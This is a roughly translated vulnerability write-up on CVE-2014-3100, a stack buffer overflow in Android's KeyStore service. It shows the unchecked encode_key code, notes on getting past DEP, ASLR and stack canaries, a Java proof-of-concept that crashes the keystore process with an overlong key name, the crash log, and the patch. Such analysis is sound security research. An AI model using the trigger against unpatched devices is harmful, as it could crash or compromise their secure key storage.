Android KeyStore Stack Buffer Overflow (CVE-2014-3100)

/*

This article is written by Mo gray. For more information, see the source.

Author: Mo gray mail: minzhenfei@163.com

*/

1. KeyStore Service

In Android, the/system/bin/keystore process provides a secure storage service. In previous versions, other programs used the UNIX socket daemon/dev/socket/keystore to access the service. However, now we can access it through the Binder Mechanism.

Each Android user has a private secure storage area. All key information is encrypted with a random key and the AES encryption algorithm. The encrypted ciphertext is encrypted with another key and then saved to the local disk. (The following key is calculated using the PKCS5_PBKDF2_HMAC_SHA1 function)

In some recent Android versions, certificate management (such as the private key of the RSA Algorithm) can be supported through dedicated hardware. That is to say, the key of the keystore is only used to identify the real key stored on the proprietary hardware. Despite the support of proprietary hardware, some certificates, such as vpn pptp certificates, will still be saved on the local disk.

Figure 1 illustrates the working principle of the keystore secure storage mechanism. Of course, you can find more internal information about the keystore service on the Internet.

2. Simplicity

Through the annotations in the source code (keystore. c), we can know that the KeyStore is slightly simpler when it is designed:

/* KeyStore is a secured storage for key-value pairs. In this implementation,* each file stores one key-value pair. Keys are encoded in file names, and* values are encrypted with checksums. The encryption key is protected by a* user-defined password. To keep things simple, buffers are always larger than* the maximum space we needed, so boundary checks on buffers are omitted.*/

Code implementation is simple, but the buffer size is not always smaller than the maximum space they imagine.

3. Vulnerability

The buffer zone that is vulnerable to attacks is mainly used in the KeyStore: getKeyForName function.

ResponseCode getKeyForName (<span style="white-space:pre"></span>Blob * keyBlob ,<span style="white-space:pre"></span>const android :: String8 & keyName ,<span style="white-space:pre"></span>const uid_t uid ,<span style="white-space:pre"></span>const BlobType type ){char filename [ NAME_MAX ];encode_key_for_uid ( filename , uid , keyName );...}

This function has several callers, and the external program can easily call it through the Binder interface. (For example, int32_t android: KeyStoreProxy: get (const String16 & name, uint8_t ** item, size_t *
ItemLength )). Therefore, malicious programs can easily control the value and length of the variable keyName.

Next, the encode_key_for_uid function calls the encode_key function, which causes the buffer overflow of filename without the border check.

static int encode_key_for_uid (char * out ,uid_t uid ,const android :: String8 & keyName ){int n = snprintf ( out , NAME_MAX , "% u_ ", uid );out += n;return n + encode_key ( out , keyName );}static int encode_key (char * out ,const android :: String8 & keyName ){const uint8_t * in = reinterpret_cast < const uint8_t * >( keyName . string ());size_t length = keyName . length ();for ( int i = length ; i > 0; --i , ++ in , ++ out ) {if (* in < '0' || * in > '~ ') {* out = '+' + (* in >> 6);*++ out = '0' + (* in & 0 x3F );++ length ;} else {* out = * in ;}}* out = '\0 ';return length ;}

4. Exploitation

If malicious programs want to use this vulnerability, they also need to solve the following problems:
(1). Data Execution Protection (DEP ). This can be bypassed using the Return-Oriented Programming (ROP) method.
(2) Address randomization (ASLR ).
(3) Stack Canaries ).
(4). encoding. Less than 0x30 ('0') or greater than 0x7e ('~ ') Will be encoded and then written back to the cache area.
Fortunately, the Android KeyStore service will be restarted immediately after it is completed. This feature increases the probability of attack success. In addition, attackers can use ASLR to combat encoding.

5. Impact

Information Leakage

6. Proof-of-concept

You can use the following Java code to trigger a vulnerability:

Class keystore = Class.forName("android.security.KeyStore");Method mGetInstance = keystore.getMethod ("getInstance");Method mGet = keystore.getMethod ("get", String.class);Object instance = mGetInstance.invoke( null ); infmGet.invoke( instance ," aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa "+" aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ");

After the above Code is run, the KeyStore process crashes and the log is as follows:

F/libc (2091): Fatal signal 11 (SIGSEGV) at 0x61616155 (code = 1), thread 2091 (keystore)
I/DEBUG (949 ): **************************************** ********
I/DEBUG (949): Build fingerprint: 'generic_x86/sdk_x86/generic_x86: 4.3/JSS15
J/eng. android-build. 20130801.155736: eng/test-keys'
I/DEBUG (949): Revision: '0'
I/DEBUG (949): pid: 2091, tid: 2091, name: keystore >>>/system/bin/keystore <
I/DEBUG (949): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 61616155
I/DEBUG (949): eax 61616161 ebx b7779e94 ecx bff85ed0 edx b777a030
I/DEBUG (949): esi b82a78a0 edi 000003 e8
I/DEBUG (949): xcs 00000073 xds 0000007 B xes 0000007 B xfs 00000000 xss 0000007 B
I/DEBUG (949): eip b7774937 ebp 61616161 esp bff85d20 flags 00010202
I/DEBUG (949 ):
I/DEBUG (949): backtrace:
I/DEBUG (949): #00 pc 0000 c937/system/bin/keystore (KeyStore: getKeyForName (Blob *,
Android: String8 const &,
Unsigned int, BlobType) + 695)
I/DEBUG (949 ):
I/DEBUG (949): stack:
I/DEBUG (949): bff85ce0 00000000
...
I/DEBUG (949): bff85d48 00000007
I/DEBUG (949): bff85d4c bff85ed0 [stack]
I/DEBUG (949): bff85d50 bff8e1bc [stack]
I/DEBUG (949): bff85d54 b77765a3/system/bin/keystore
I/DEBUG (949): bff85d58 b7776419/system/bin/keystore
I/DEBUG (949): bff85d5c bff85ed4 [stack]
I/DEBUG (949 ):................
I/DEBUG (949 ):
I/DEBUG (949): memory map around fault addr 61616155:
I/DEBUG (949): (no map below)
I/DEBUG (949): (no map for address)
I/DEBUG (949): b72ba000-b73b8000 r --/dev/binder

7. Patch

The getKeyForName function no longer uses a C-style string to save filename. In addition, the getKeyNameForUidWithDir function is used to replace the key name generated by encode_key_for_uid. The former correctly calculates the length of the encoded key.

ResponseCode getKeyForName ( Blob * keyBlob , const android :: String8 & keyName , const uid_t uid ,const BlobType type ) {android :: String8 filepath8 ( getKeyNameForUidWithDir ( keyName , uid ));...}android :: String8 getKeyNameForUidWithDir ( const android :: String8 & keyName , uid_t uid ) {char encoded [ encode_key_length ( keyName ) + 1]; // add 1 for null charencode_key ( encoded , keyName );return android :: String8 :: format ("% s /% u_ %s ", getUserState ( uid ) -> getUserDirName () , uid ,encoded );}

Original paper: http://www.slideshare.net/ibmsecurity/android-keystorestackbufferoverflow